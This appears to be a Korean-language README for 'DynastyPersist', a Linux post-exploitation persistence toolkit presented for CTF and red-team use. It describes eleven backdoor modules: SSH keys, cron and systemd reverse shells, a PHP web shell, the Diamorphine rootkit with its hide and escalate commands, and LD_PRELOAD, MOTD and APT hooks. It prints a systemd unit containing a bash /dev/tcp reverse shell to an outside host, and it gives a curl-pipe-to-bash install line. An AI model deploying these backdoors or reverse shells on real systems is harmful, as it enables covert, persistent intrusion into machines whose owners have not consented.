
Linux 지속성 툴킷 - SSH 키 백도어, 크론 작업, systemd 서비스, LKM 루트킷, LD_PRELOAD 권한 상승을 위한 11개의 모듈을 포함합니다. CTF 대회 및 레드 팀 운영을 위해 설계되었습니다.

| 기능 | 설명 |
|---|---|
| SSH 키 생성 | 은밀한 접근을 위한 SSH 키를 자동으로 생성합니다. |
| 크론잡 지속성 | 예약된 지속성을 위해 크론잡을 설정합니다. |
| 루트 권한의 사용자 정의 계정 | 루트 권한을 가진 사용자 정의 계정을 생성합니다. |
| RCE 지속성 | 원격 코드 실행을 통해 지속성을 달성합니다. |
| LKM/루트킷 | Linux 커널 모듈(LKM) 기반 루트킷 지속성을 보여줍니다. |
| Bashrc 지속성 | 지속성을 위해 사용자별 셸 초기화 파일(별칭/리버스 셸)을 수정합니다. |
| 루트를 위한 Systemd 서비스 | 루트 지속성을 달성하기 위해 systemd 서비스를 설정합니다. |
| LD_PRELOAD 권한 상승 구성 | 권한 상승을 위해 LD_PRELOAD를 구성합니다. |
| Message of the Day/헤더 백도어 | 은밀한 접근을 위해 시스템 메시지 표시에 백도어를 설치합니다. |
| 기존 Systemd 서비스 수정 | 지속성을 위해 기존 systemd 서비스를 조작합니다. |
| APT 명령 백도어 | apt 명령에 백도어를 설치하여 셸을 띄웁니다. |
ssh 키 생성을 사용하여 서버에 접근합니다. 이 모듈은 모든 사용자에 대해 id_rsa 키를 생성합니다. 이는 역방향 접근에 사용될 수 있습니다. 이 모듈을 실행한 후 공격자는 ssh를 통해 서버에 연결할 수 있습니다.
이는 ssh-keygen 명령을 사용하여 수동으로 수행할 수 있습니다. 그러나 모듈은 모든 사용자에 대해 개인 키를 순식간에 생성합니다.
root@kali ~ ssh -i id_rsa [email protected]
1Linux의 크론잡은 지정된 간격으로 자동 실행되는 예약 작업입니다.
가장 효율적인 모듈 중 하나로, 리버스 셸을 포함합니다. 이 모듈은 리버스 셸 명령을 직접 /etc/crontab에 기록합니다. 그러면 당신이 리스닝 중인 포트에 셸이 나타납니다.
root@kali ~ nc -nvlp 9999
2ssh를 통해 해당 사용자로 로그인할 수 있습니다.root@kali ~ ssh [email protected]
3이 모듈은 웹 루트 디렉토리에 호스팅된 php 스크립트와 함께 제공됩니다. 스크립트는 /var/www/html/dynasty_rce/rce.php에 위치합니다. 또한 LKM 모듈이 먼저 실행되면 접두사 dynasty_rce를 숨길 수 있습니다.
victim_ip:port/dynasty_rce/rce.php를 방문하면 셸 내에서 명령을 실행할 수 있는 권한을 얻습니다.
모듈 번호: 4
Diamorphine이라는 오픈 소스 LKM 루트킷에 초점을 맞춥니다. 모듈은 임시 위치인 /var/tmp/.memory에 있습니다. 이 디렉토리는 모듈이 설정된 후 삭제됩니다.victim@ubuntu ~ kill -64 0 # Promtes to root user.
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
5find 또는 cat을 사용할 때 셸이 제공됩니다.root@kali ~ nc -nvlp 9999
6리버스 접근을 위해 systemd에 사용자 정의 서비스를 생성하는 모듈입니다.
예시:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
위 예시는 서비스로 생성됩니다. 이 방법은 효율적이고 내구성이 뛰어납니다.
모듈 번호: 7
LD_PRELOAD는 Linux에서 사용자가 다른 라이브러리보다 먼저 공유 라이브러리를 미리 로드할 수 있게 해주는 환경 변수입니다. LD_PRELOAD를 사용한 권한 상승은 악성 라이브러리를 로드하여 시스템 호출을 가로채고 수정함으로써 상승된 권한을 얻을 수 있습니다. 이 모듈은 find 및 wget과 같은 명령에 백도어를 설치합니다.
모듈 번호: 8
Linux의 "Message of the Day"(MOTD)는 로그인 시 사용자에게 표시되는 사용자 정의 가능한 텍스트로, 시스템에 대한 정보나 업데이트를 제공합니다. 일반적으로 /etc/motd 파일에 저장되며 시스템 관리자가 수정할 수 있습니다.
이 모듈은 /etc/update-motd.d/00-header에 셸을 작성합니다. 이는 일반적으로 사용자가 로그인할 때 트리거됩니다.
모듈 번호: 9
모듈 7과 유사하게, 이 모듈은 기존 서비스를 수정하여 리버스 접근을 가능하게 합니다.
간단히 말해, 서비스의 ExecStartPre를 리버스 셸 명령으로 다시 작성합니다.
모듈 번호: 10
"APT"는 Advanced Package Tool의 약자로, Ubuntu와 같은 Debian 기반 시스템에서 일반적으로 사용됩니다. 파일 위치: /etc/apt/apt.conf.d/42backdoor
apt 명령에 백도어를 설치하여, apt가 실행될 때마다 셸을 띄웁니다.
모듈 번호: 11
현재 최신 업데이트(1.4)에서는 2가지 모드를 사용할 수 있습니다.
모드는 console과 ctf이며 특정 동작 방식으로 작동하도록 설계되었습니다.
비교하자면, console 모드는 ctf 모드보다 더 많은 기능과 안정성을 제공합니다.
console 모드는 모든 기능을 갖춘 일반 설정으로 도구를 실행합니다. 이 기능들은 스크립트가 실행되는 로컬 호스트에서 로컬로 실행됩니다. 실시간 작업에서 지속성을 위해 설계되었습니다.
선택한 모듈을 실행하려면 모듈 번호 앞에 use를 붙입니다. 예: use 1
또한 인터페이스가 업데이트되어 show payloads를 입력하면 모듈/페이로드가 표시됩니다.
마지막으로, 도움말/옵션 메뉴도 수정되었습니다. show options를 입력하여 확인하십시오.
ctf 모드는 SSH를 통해 손상된 서버에 로그인하여 지속성을 확보하는 추가 기능입니다. 이 애드온은 KoTH나 Battlegrounds에서 많은 도움이 됩니다. 또한 지속성 설정에 소요되는 시간을 크게 절약할 수 있습니다.
console의 대부분의 기능을 실행합니다.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Git을 통해
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Curl을 통해
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash